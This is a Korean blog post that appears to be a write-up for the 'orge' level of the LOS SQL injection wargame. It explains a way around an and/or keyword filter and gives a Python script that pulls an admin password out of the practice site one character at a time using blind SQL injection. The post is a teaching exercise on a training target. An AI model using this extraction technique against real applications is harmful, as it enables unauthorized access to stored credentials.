orge 문제 풀이
이 문제 같은 경우는 pw를 get 방식으로 가져와서 sql문에 넣고 나중에 비밀번호를 인증 확인할때 db table에서 가져온 pw와 get방식으로 가져온 pw가 일치하는 지를 보고 있다.
즉 pw 입력을 할때 정확한 비밀번호를 대입해야한다. 이건 일전에서 풀었던 orc와 같은 문제이지만 and와 or 이 필터링 되기 때문에 이를 우회하기만 한다면 같은 방식으로 풀 수 있다.
해결 방법을 찾았다 여기서도 hello guest를 출력하기 때문에 해당 문구에 id= 'admin'을 추가하기만 해도 orc와 같은 형식이 된다.
여긴 틀려먹은 생각^^
곰곰히 생각하다가 id= 이라는 문구를 두개 or 방식으로 넣으면어떻게 될지라는 생각이 들어 내가 가진 phpmyadmin에 sql 질의를 아래와 했지만^^ 아래와 같이 두개의 테이블이 나올 경우 2번째 열 비교를 못한다.
select * from login where id='1' and pw='1' or id='2' and '2' 로 했더니 아래와 같이 두개의 테이블이 나오게 됐다. 즉 이 문제도 이렇게 하면 앞에 guest가 만족하도록 만들고 뒤에를 admin을 알아내도록 orc 와 같은 방식으로 풀어주는 것이다.
id pw
1 1
2 2
length 부터 시작해서 대입해 보자 확인시 orc와 같게 여기도 8자리이다.
자동화가 필요하다 생각하여 파이썬 코드 작성
아래 코드는 다른 블로그 내용 참고해서 작성하였다.
다만 특이한 점은 특수문자를 인코더하여 보낼 경우 작동을 안하였다. requests 자체에서 인코딩해서 데이터를 보내기 때문에 인코딩한 값이 한번더 인코딩되어 전달되는 것 같다.
import requests
url='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies={'PHPSESSID':'7qs6pdatcldhqr93cjustg1pl7'}
pw_str=''
for position in range(1,9):
for find_pw in range(33,127):
value ="x' || id='admin' && ascii(substr(pw,{},1))={}#'".format(position,find_pw)
parameter={'pw':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin" in res.text):
pw_str+=chr(find_pw)
print("pw=", pw_str)
break
print("Found all pw=",pw_str)
Clear!!!
'Coding > Wargame' 카테고리의 다른 글
[LOS] SQL Injection 풀이 (darkknight) (0) | 2022.06.11 |
---|---|
[LOS] SQL Injection 풀이 (golem) (0) | 2022.06.10 |
[LOS] SQL Injection 풀이 (wolfman, darkelf) (0) | 2022.06.07 |
[LOS] SQL Injection 풀이 (orc) (0) | 2022.06.06 |
[LOS] SQL Injection 풀이(gremlin, cobolt, goblin) (0) | 2022.06.05 |